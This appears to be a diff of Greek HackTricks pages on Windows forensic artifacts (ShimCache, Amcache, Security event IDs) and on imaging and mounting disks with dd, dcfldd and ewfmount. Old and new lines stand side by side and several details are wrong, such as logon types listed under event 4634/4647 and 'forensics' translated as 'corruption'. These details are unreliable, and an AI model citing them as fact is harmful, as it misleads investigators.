* AppID και Διαδρομή
* Χρήστης που εκτέλεσε τη διεργασία
@ -253,18 +300,18 @@ LECmd.exe -d C:\Users\student\Desktop\LNKs --csv C:\Users\student\Desktop\LNKs
```
### AppCompatCache (ShimCache)
Το **AppCompatCache**, επίσης γνωστό ως **ShimCache**, αποτελεί μέρος της **Βάσης Δεδομένων Συμβατότητας Εφαρμογών** που αναπτύχθηκε από την **Microsoft** για την αντιμετώπιση θεμάτων συμβατότητας εφαρμογών. Αυτό το συστατικό του συστήματος καταγράφει διάφορα κομμάτια μεταδεδομένων αρχείων, τα οποία περιλαμβάνουν:
Το **AppCompatCache**, επίσης γνωστό ως **ShimCache**, αποτελεί μέρος της **Βάσης Δεδομένων Συμβατότητας Εφαρμογών** που αναπτύχθηκε από τη **Microsoft** για την αντιμετώπιση θεμάτων συμβατότητας εφαρμογών. Αυτό το συστατικό συστήματος καταγράφει διάφορα κομμάτια μεταδεδομένων αρχείων, τα οποία περιλαμβάνουν:
- Πλήρης διαδρομή του αρχείου
- Πλήρη διαδρομή του αρχείου
- Μέγεθος του αρχείου
- Τελευταία τροποποίηση υπό το **$Standard\_Information** (SI)
- Τελευταία ενημέρωση του ShimCache
- Σημαία εκτέλεσης διεργασίας
- Τελευταία τροποποίηση ώρας στο **$Standard\_Information** (SI)
- Τελευταία ενημέρωση ώρας του ShimCache
- Σημαία Εκτέλεσης Διεργασίας
Τέτοια δεδομένα αποθηκεύονται στο μητρώο σε συγκεκριμένες τοποθεσίες βάσει της έκδοσης του λειτουργικού συστήματος:
Τα δεδομένα αυτά αποθηκεύονται στο μητρώο σε συγκεκριμένες τοποθεσίες βάσει της έκδοσης του λειτουργικού συστήματος:
- Για το XP, τα δεδομένα αποθηκεύονται στο `SYSTEM\CurrentControlSet\Control\SessionManager\Appcompatibility\AppcompatCache` με χωρητικότητα για 96 καταχωρήσεις.
- Για το Server 2003, καθώς και για τις εκδόσεις των Windows 2008, 2012, 2016, 7, 8 και 10, η διαδρομή αποθήκευσης είναι `SYSTEM\CurrentControlSet\Control\SessionManager\AppcompatCache\AppCompatCache`, με χωρητικότητα για 512 και 1024 καταχωρήσεις αντίστοιχα.
- Για το XP, τα δεδομένα αποθηκεύονται στο `SYSTEM\CurrentControlSet\Control\SessionManager\Appcompatibility\AppcompatCache` με χωρητικότητα 96 καταχωρήσεων.
- Για το Server 2003, καθώς και για τις εκδόσεις των Windows 2008, 2012, 2016, 7, 8 και 10, η διαδρομή αποθήκευσης είναι `SYSTEM\CurrentControlSet\Control\SessionManager\AppcompatCache\AppCompatCache`, με χωρητικότητα 512 και 1024 καταχωρήσεων αντίστοιχα.
Για την ανάλυση των αποθηκευμένων πληροφοριών, συνιστάται η χρήση του εργαλείου [**AppCompatCacheParser**](https://github.com/EricZimmerman/AppCompatCacheParser).
@ -272,11 +319,11 @@ LECmd.exe -d C:\Users\student\Desktop\LNKs --csv C:\Users\student\Desktop\LNKs
### Amcache
Το αρχείο **Amcache.hve** είναι ουσιαστικά ένα καταγεγραμμένο μητρώο που καταγράφει λεπτομέρειες για εφαρμογές που έχουν εκτελεστεί σε ένα σύστημα. Συνήθως βρίσκεται στη διαδρομή `C:\Windows\AppCompat\Programas\Amcache.hve`.
Το αρχείο **Amcache.hve** είναι ουσιαστικά ένα αρχείο καταχώρησης μητρώου που καταγράφει λεπτομέρειες σχετικά με εφαρμογές που έχουν εκτελεστεί σε ένα σύστημα. Συνήθως βρίσκεται στο `C:\Windows\AppCompat\Programas\Amcache.hve`.
Αυτό το αρχείο είναι σημαντικό για την αποθήκευση εγγραφών πρόσφατα εκτελεσμένων διεργασιών, συμπεριλαμβανομένων των διαδρομών προς τα εκτελέσιμα αρχεία και των SHA1 κατακερματισμένων τους. Αυτές οι πληροφορίες είναι ανεκτίμητες για την παρακολούθηση της δραστηριότητας των εφαρμογών σε ένα σύστημα.
Αυτό το αρχείο είναι σημαντικό για την αποθήκευση εγγραφών πρόσφατα εκτελεσμένων διεργασιών, συμπεριλαμβανομένων των διαδρομών προς τα εκτελέσιμα αρχεία και των SHA1 hashes τους. Αυτές οι πληροφορίες είναι ανεκτίμητες για την παρακολούθηση της δραστηριότητας των εφαρμογών σε ένα σύστημα.
Για την εξαγωγή και ανάλυση των δεδομένων από το **Amcache.hve**, μπορεί να χρησιμοποιηθεί το εργαλείο [**AmcacheParser**](https://github.com/EricZimmerman/AmcacheParser). Το παρακάτω παράδειγμα είναι ένας τρόπος χρήσης του AmcacheParser για την ανάλυση του περιεχομένου του αρχείου **Amcache.hve** και την εξαγωγή των αποτελεσμάτων σε μορφή CSV:
Για την εξαγωγή και ανάλυση των δεδομένων από το **Amcache.hve**, μπορεί να χρησιμοποιηθεί το εργαλείο [**AmcacheParser**](https://github.com/EricZimmerman/AmcacheParser). Το παρακάτω παράδειγμα είναι ένας τρόπος χρήσης του AmcacheParser για την ανάλυση των περιεχομένων του αρχείου **Amcache.hve** και την έξοδο των αποτελεσμάτων σε μορφή CSV:
```bash
AmcacheParser.exe -f C:\Users\genericUser\Desktop\Amcache.hve --csv C:\Users\genericUser\Desktop\outputFolder
```
@ -284,68 +331,89 @@ AmcacheParser.exe -f C:\Users\genericUser\Desktop\Amcache.hve --csv C:\Users\gen
Το πιο ενδιαφέρον αρχείο CVS που δημιουργείται είναι το `Amcache_Unassociated file entries`.
### Πρόσφατα αρχεία cache
### RecentFileCache
Αυτό το αρχείο μπορεί να βρεθεί μόνο στα Windows 7 στη διαδρομή `C:\Windows\AppCompat\Programs\RecentFileCache.bcf` και περιέχει πληροφορίες σχετικά με την πρόσφατη εκτέλεση ορισμένων δυαδικών αρχείων.
Αυτό το αρχείο μπορεί να βρεθεί μόνο στα W7 στη διαδρομή `C:\Windows\AppCompat\Programs\RecentFileCache.bcf` και περιέχει πληροφορίες σχετικά με την πρόσφατη εκτέλεση ορισμένων δυαδικών αρχείων.
Μπορείτε να χρησιμοποιήσετε το εργαλείο [**RecentFileCacheParse**](https://github.com/EricZimmerman/RecentFileCacheParser) για να αναλύσετε το αρχείο.
Μπορείτε να χρησιμοποιήσετε το εργαλείο [**RecentFileCacheParse**](https://github.com/EricZimmerman/RecentFileCacheParser) για τον διαχωρισμό του αρχείου.
### Προγραμματισμένες εργασίες
Μπορείτε να τις εξάγετε από τη διαδρομή `C:\Windows\Tasks` ή `C:\Windows\System32\Tasks` και να τις διαβάσετε ως XML.
Μπορείτε να τις εξάγετε από `C:\Windows\Tasks` ή `C:\Windows\System32\Tasks` και να τις διαβάσετε ως XML.
### Υπηρεσίες
Μπορείτε να τις βρείτε στο μητρώο κάτω από το `SYSTEM\ControlSet001\Services`. Μπορείτε να δείτε τι θα εκτελεστεί και πότε.
Μπορείτε να τις βρείτε στο μητρώο κάτω από `SYSTEM\ControlSet001\Services`. Μπορείτε να δείτε τι θα εκτελεστεί και πότε.
### **Windows Store**
Οι εγκατεστημένες εφαρμογές μπορούν να βρεθούν στη διαδρομή `\ProgramData\Microsoft\Windows\AppRepository\`\
Αυτή η αποθήκη έχει ένα **αρχείο καταγραφής** με **κάθε εγκατεστημένη εφαρμογή** στο σύστημα μέσα στη βάση δεδομένων **`StateRepository-Machine.srd`**.
Οι εγκατεστημένες εφαρμογές μπορούν να βρεθούν στον φάκελο `\ProgramData\Microsoft\Windows\AppRepository\`\
Αυτό το αποθετήριο έχει ένα **αρχείο καταγραφής** με **κάθε εγκατεστημένη εφαρμογή** στο σύστημα μέσα στη βάση δεδομένων **`StateRepository-Machine.srd`**.
Μέσα στον πίνακα Application αυτής της βάσης δεδομένων, είναι δυνατόν να βρεθούν οι στήλες: "Application ID", "PackageNumber" και "Display Name". Αυτές οι στήλες περιέχουν πληροφορίες για προεγκατεστημένες και εγκατεστημένες εφαρμογές και μπορεί να διαπιστωθεί αν κάποιες εφαρμογές έχουν απεγκατασταθεί επειδή οι αναγνωριστικοί των εγκατεστημένων εφαρμογών πρέπει να είναι συνεχόμενοι.
Μέσα στον πίνακα Εφαρμογή αυτής της βάσης δεδομένων, είναι δυνατόν να βρείτε τις στήλες: "Ταυτότητα Εφαρμογής", "Αριθμός Πακέτου" και "Εμφανιζόμενο Όνομα". Αυτές οι στήλες περιέχουν πληροφορίες σχετικά με προεγκατεστημένες και εγκατεστημένες εφαρμογές και μπορεί να διαπιστωθεί αν κάποιες εφαρμογές απεγκαταστάθηκαν επειδή οι ταυτότητες των εγκατεστημένων εφαρμογών πρέπει να είναι συνεχόμενες.
Είναι επίσης δυνατό να **βρεθούν εγκατεστημένες εφαρμογές** μέσα στη διαδρομή του μητρώου: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Applications\`\
Είναι επίσης δυνατόν να **βρείτε εγκατεστημένες εφαρμογές** στη διαδρομή του μητρώου: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Applications\`\
Και **απεγκατεστημένες εφαρμογές** στο: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Deleted\`
## Γεγονότα των Windows
## Γεγονότα Windows
Οι πληροφορίες που εμφανίζονται στα γεγονότα των Windows είναι:
* Τι συνέβη
* Χρονική σήμανση (UTC + 0)
* Συμμετέχοντες χρήστες
* Συμμετέχοντες υπολογιστές (όνομα κεντρικού υπολογιστή, IP)
* Χρήστες που εμπλέκονται
* Συστήματα που εμπλέκονται (όνομα υπολογιστή, IP)
* Πόροι που ανατέθηκαν (αρχεία, φάκελοι, εκτυπωτές, υπηρεσίες)
Τα αρχεία καταγραφής βρίσκονται στη διαδρομή `C:\Windows\System32\config` πριν από τα Windows Vista και στη διαδρομή `C:\Windows\System32\winevt\Logs` μετά τα Windows Vista. Πριν από τα Windows Vista, τα αρχεία καταγραφής γεγονότων ήταν σε δυαδική μορφή και μετά από αυτό, είναι σε μορφή **XML** και χρησιμοποιούν την επέκταση **.evtx**.
Τα αρχεία καταγραφής βρίσκονται στο `C:\Windows\System32\config` πριν τα Windows Vista και στο `C:\Windows\System32\winevt\Logs` μετά τα Windows Vista. Πριν τα Windows Vista, τα αρχεία καταγραφής γεγονότων ήταν σε δυαδική μορφή και μετά από αυτό, είναι σε μορφή **XML** και χρησιμοποιούν την επέκταση **.evtx**.
Η τοποθεσία των αρχείων γεγονότων μπορεί να βρεθεί στο μητρώο SYSTEM στο **`HKLM\SYSTEM\CurrentControlSet\services\EventLog\{Application|System|Security}`**
Μπορούν να προβληθούν μέσω του Προβολέα Γεγονότων των Windows (**`eventvwr.msc`**) ή με άλλα εργαλεία όπως το [**Event Log Explorer**](https://eventlogxp.com) **ή** [**Evtx Explorer/EvtxECmd**](https://ericzimmerman.github.io/#!index.md)**.**
Μπορούν να οπτικοποιηθούν από τον Ερευνητή Γεγονότων των Windows (**`eventvwr.msc`**) ή με άλλα εργαλεία όπως το [**Event Log Explorer**](https://eventlogxp.com) **ή** [**Evtx Explorer/EvtxECmd**](https://ericzimmerman.github.io/#!index.md)**.**
## Κατανόηση της καταγραφής γεγονότων ασφάλειας των Windows
## Κατανόηση της Καταγραφής Συμβάντων Ασφαλείας των Windows
Τα γεγονότα πρόσβασης καταγράφονται στο αρχείο ρύθμισης ασφάλειας που βρίσκεται στη διαδρομή `C:\Windows\System32\winevt\Security.evtx`. Το μέγεθος αυτού του αρχείου είναι προσαρμόσιμο και όταν φτάσει στη χωρητικότητά του, τα παλαιότερα γεγονότα αντικαθίστανται. Τα καταγεγραμμένα γεγονότα περιλαμβάνουν τις συνδέσεις και αποσυνδέσεις χρηστών, τις ενέργειες των χρηστών και τις αλλαγές στις ρυθμίσεις ασφάλειας, καθ
#### Συμβάντα Τροφοδοσίας Συστήματος
Τα συμβάντα πρόσβασης καταγράφονται στο αρχείο ρυθμίσεων ασφαλείας που βρίσκεται στο `C:\Windows\System32\winevt\Security.evtx`. Το μέγεθος αυτού του αρχείου είναι προσαρμόσιμο και όταν φτάσει στη χωρητικότητά του, τα παλαιότερα συμβάντα αντικαθίστανται. Τα καταγεγραμμένα συμβάντα περιλαμβάνουν συνδέσεις και αποσυνδέσεις χρηστών, ενέργειες χρηστών και αλλαγές στις ρυθμίσεις ασφαλείας, καθώς και πρόσβαση σε αρχεία, φακέλους και κοινόχρηστους πόρους.
Το EventID 6005 υποδεικνύει την εκκίνηση του συστήματος, ενώ το EventID 6006 σηματοδοτεί τον αποκλεισμό.
### Κύρια Αναγνωριστικά Συμβάντων για Αυθεντικοποίηση Χρήστη:
- **EventID 4624**: Υποδεικνύει επιτυχή αυθεντικοποίηση χρήστη.
- **EventID 4625**: Σηματοδοτεί αποτυχία αυθεντικοποίησης.
- **EventIDs 4634/4647**: Αντιπροσωπεύουν συμβάντα αποσύνδεσης χρήστη.
- **EventID 4672**: Δηλώνει σύνδεση με διαχειριστικά προνόμια.
#### Υπο-τύποι εντός EventID 4634/4647:
- **Διαδραστικό (2)**: Άμεση σύνδεση χρήστη.
- **Δίκτυο (3)**: Πρόσβαση σε κοινόχρηστους φακέλους.
- **Παρτίδα (4)**: Εκτέλεση διεργασιών παρτίδας.
- **Υπηρεσία (5)**: Εκκίνηση υπηρεσιών.
- **Διαμεσολαβητής (6)**: Αυθεντικοποίηση διαμεσολαβητή.
- **Ξεκλείδωμα (7)**: Ξεκλείδωμα οθόνης με κωδικό πρόσβασης.
- **Δίκτυο Καθαρού Κειμένου (8)**: Μετάδοση κωδικού καθαρού κειμένου, συχνά από το IIS.
- **Νέα Διαπιστευτήρια (9)**: Χρήση διαφορετικών διαπιστευτηρίων για πρόσβαση.
- **Απομακρυσμένο Διαδραστικό (10)**: Απομακρυσμένη επιφάνεια εργασίας ή σύνδεση υπηρεσιών τερματικού.
- **Διαδραστικό Κρυφό (11)**: Σύνδεση με κρυφά διαπιστευτήρια χωρίς επικοινωνία με ελεγκτή τομέα.
- **Απομακρυσμένο Διαδραστικό Κρυφό (12)**: Απομακρυσμένη σύνδεση με κρυφά διαπιστευτήρια.
- **Κρυφό Ξεκλείδωμα (13)**: Ξεκλείδωμα με κρυφά διαπιστευτήρια.
#### Κωδικοί Κατάστασης και Υπο-Κατάστασης για το EventID 4625:
- **0xC0000064**: Το όνομα χρήστη δεν υπάρχει - Μπορεί να υποδεικνύει επίθεση απαρίθμησης ονομάτων χρηστών.
- **0xC000006A**: Σωστό όνομα χρήστη αλλά λάθος κωδικός πρόσβασης - Πιθανή προσπάθεια μαντεψιάς ή επίθεση με βία.
- **0xC0000234**: Ο λογαριασμός χρήστη έχει κλειδωθεί - Μπορεί να ακολουθήσει μια επίθεση με πολλαπλές αποτυχημένες συνδέσεις.
- **0xC0000072**: Ο λογαριασμός είναι απενεργοποιημένος - Μη εξουσιοδοτημένες προσπάθειες πρόσβασης σε απενεργοποιημένους λογαριασμούς.
- **0xC000006F**: Σύνδεση εκτός επιτρεπόμενου χρόνου - Υποδεικνύει προσπάθειες πρόσβασης εκτός των ορισμένων ωρών σύνδεσης, πιθανό σημάδι μη εξουσιοδοτημένης πρόσβασης.
- **0xC0000070**: Παραβίαση περιορισμών σταθμού εργασίας - Μπορεί να είναι μια προσπάθεια σύνδεσης από μη εξουσιοδοτημένη τοποθεσία.
- **0xC0000193**: Λήξη λογαριασμού - Προσπάθε
#### Γεγονότα Τροφοδοσίας Συστήματος
Το EventID 6005 υποδεικνύει την εκκίνηση του συστήματος, ενώ το EventID 6006 σηματοδοτεί τον τερματισμό.
#### Διαγραφή Καταγραφών
Το EventID 1102 της Ασφάλειας υποδεικνύει τη διαγραφή των καταγραφών, ένα κρίσιμο γεγονός για την ανάλυση αποδεικτικών στοιχείων.
Το EventID 1102 ασφαλείας σηματοδοτεί τη διαγραφή καταγραφών, ένα κρίσιμο γεγονός για την ανάλυση ψηφιακών αποδεικτικών στοιχείων.
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF**, ελέγξτε τα [**ΠΑΚΕΤΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
</details>
{% embed url="https://websec.nl/" %}

View file

@ -2,16 +2,20 @@
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team AWS του HackTricks)</strong></a><strong>!</strong></summary>
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks**; Ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΠΑΚΕΤΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε τη **εταιρεία σας να διαφημίζεται στο HackTricks**; ή θέλετε να έχετε πρόσβαση στη **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Εγγραφείτε** στην [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Εγγραφείτε στη** [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στο [αποθετήριο hacktricks](https://github.com/carlospolop/hacktricks) και [αποθετήριο hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## Απόκτηση
### DD
@ -20,8 +24,6 @@
dd if=/dev/sdb of=disk.img
```
### dcfldd
Το **dcfldd** είναι ένα εργαλείο που χρησιμοποιείται για την αντιγραφή εικόνων δίσκου. Αυτό το εργαλείο είναι μια εναλλακτική λύση στο dd, μερικές φορές προτιμάται για την ακρίβεια της αντιγραφής. Οι εντολές και οι παράμετροι του dcfldd είναι παρόμοιες με αυτές του dd, μερικές φορές με μερικές επιπλέον δυνατότητες. Μπορεί να χρησιμοποιηθεί για την αντιγραφή εικόνων δίσκου, την αντιγραφή μόνο των μηχανικών τμημάτων ενός δίσκου, την αντιγραφή με συμπίεση και πολλά άλλα.
```bash
#Raw copy with hashes along the way (more secur as it checks hashes while it's copying the data)
dcfldd if=<subject device> of=<image file> bs=512 hash=<algorithm> hashwindow=<chunk size> hashlog=<hash file>
@ -56,7 +58,7 @@ ewfacquire /dev/sdb
### Πολλαπλοί τύποι
Στα **Windows** μπορείτε να δοκιμάσετε να χρησιμοποιήσετε τη δωρεάν έκδοση του Arsenal Image Mounter ([https://arsenalrecon.com/downloads/](https://arsenalrecon.com/downloads/)) για να **τοποθετήσετε την εικόνα ανάκτησης**.
Στα **Windows** μπορείτε να δοκιμάσετε να χρησιμοποιήσετε τη δωρεάν έκδοση του Arsenal Image Mounter ([https://arsenalrecon.com/downloads/](https://arsenalrecon.com/downloads/)) για **την τοποθέτηση της εικόνας ψηφιακής ανάκτησης**.
### Raw
```bash
@ -68,14 +70,6 @@ evidence.img: Linux rev 1.0 ext4 filesystem data, UUID=1031571c-f398-4bfb-a414-b
mount evidence.img /mnt
```
### EWF
Το EWF (EnCase Evidence File) είναι ένα αρχείο εικόνας που χρησιμοποιείται από το λογισμικό EnCase για την αποθήκευση αντιγράφων ασφαλείας των αποδεικτικών στοιχείων. Το EWF αποτελείται από έναν κύριο αρχείο (.E01) και πολλά επιπλέον αρχεία (.EX01) που περιέχουν τα δεδομένα της εικόνας.
Για να αποκτήσετε μια εικόνα EWF, μπορείτε να χρησιμοποιήσετε το λογισμικό EnCase ή άλλα εργαλεία όπως το FTK Imager. Αυτά τα εργαλεία σάς επιτρέπουν να αποκτήσετε μια ακριβή αντιγραφή του περιεχομένου του σκληρού δίσκου ή του μέσου αποθήκευσης και να το αποθηκεύσετε σε ένα αρχείο EWF.
Για να προσπελάσετε τα δεδομένα μιας εικόνας EWF, πρέπει να την προσαρτήσετε σε έναν εικονικό δίσκο. Αυτό μπορεί να γίνει χρησιμοποιώντας το εργαλείο ewfmount ή άλλα εργαλεία που υποστηρίζουν το EWF format. Μετά την προσάρτηση, μπορείτε να εξερευνήσετε τα δεδομένα της εικόνας όπως θα κάνατε με έναν συνηθισμένο δίσκο.
Η απόκτηση και η προσάρτηση εικόνων EWF είναι σημαντικά εργαλεία στην ψηφιακή διαφθορά και την ανάκτηση αποδεικτικών στοιχείων. Με τη χρήση αυτών των μεθόδων, μπορείτε να διερευνήσετε και να ανακτήσετε σημαντικά δεδομένα από εικόνες EWF.
```bash
#Get file type
file evidence.E01
@ -92,12 +86,12 @@ mount output/ewf1 -o ro,norecovery /mnt
```
### ArsenalImageMounter
Είναι μια εφαρμογή για τα Windows που χρησιμοποιείται για την προσάρτηση τόμων. Μπορείτε να την κατεβάσετε από εδώ [https://arsenalrecon.com/downloads/](https://arsenalrecon.com/downloads/)
Είναι μια εφαρμογή Windows για την τοποθέτηση όγκων. Μπορείτε να την κατεβάσετε εδώ [https://arsenalrecon.com/downloads/](https://arsenalrecon.com/downloads/)
### Σφάλματα
* **`cannot mount /dev/loop0 read-only`** σε αυτήν την περίπτωση χρειάζεται να χρησιμοποιήσετε τις σημαίες **`-o ro,norecovery`**
* **`wrong fs type, bad option, bad superblock on /dev/loop0, missing codepage or helper program, or other error.`** σε αυτήν την περίπτωση η προσάρτηση απέτυχε επειδή η μετατόπιση του συστήματος αρχείων είναι διαφορετική από αυτήν της εικόνας του δίσκου. Πρέπει να βρείτε το μέγεθος του τομέα (Sector size) και τον αρχικό τομέα (Start sector):
* **`cannot mount /dev/loop0 read-only`** σε αυτήν την περίπτωση πρέπει να χρησιμοποιήσετε τις σημαίες **`-o ro,norecovery`**
* **`wrong fs type, bad option, bad superblock on /dev/loop0, missing codepage or helper program, or other error.`** σε αυτήν την περίπτωση η τοποθέτηση απέτυχε επειδή το offset του συστήματος αρχείων είναι διαφορετικό από αυτό της εικόνας δίσκου. Πρέπει να βρείτε το μέγεθος του τομέα και τον τομέα έναρξης:
```bash
fdisk -l disk.img
Disk disk.img: 102 MiB, 106954648 bytes, 208896 sectors
@ -110,18 +104,22 @@ Disk identifier: 0x00495395
Device Boot Start End Sectors Size Id Type
disk.img1 2048 208895 206848 101M 1 FAT12
```
Σημειώστε ότι το μέγεθος του τομέα είναι **512** και η αρχή είναι **2048**. Στη συνέχεια, τοποθετήστε την εικόνα ως εξής:
Σημειώστε ότι το μέγεθος του τομέα είναι **512** και η αρχή είναι **2048**. Στη συνέχεια προσαρτήστε την εικόνα όπως παρακάτω:
```bash
mount disk.img /mnt -o ro,offset=$((2048*512))
```
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks**; Ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΠΑΚΕΤΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks**; ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε PDF**; Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Συμμετάσχετε** στην [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Εγγραφείτε στην** [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγράφου**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στο [αποθετήριο hacktricks](https://github.com/carlospolop/hacktricks) και [αποθετήριο hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
</details>

View file

@ -2,47 +2,64 @@
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team του HackTricks στο AWS)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
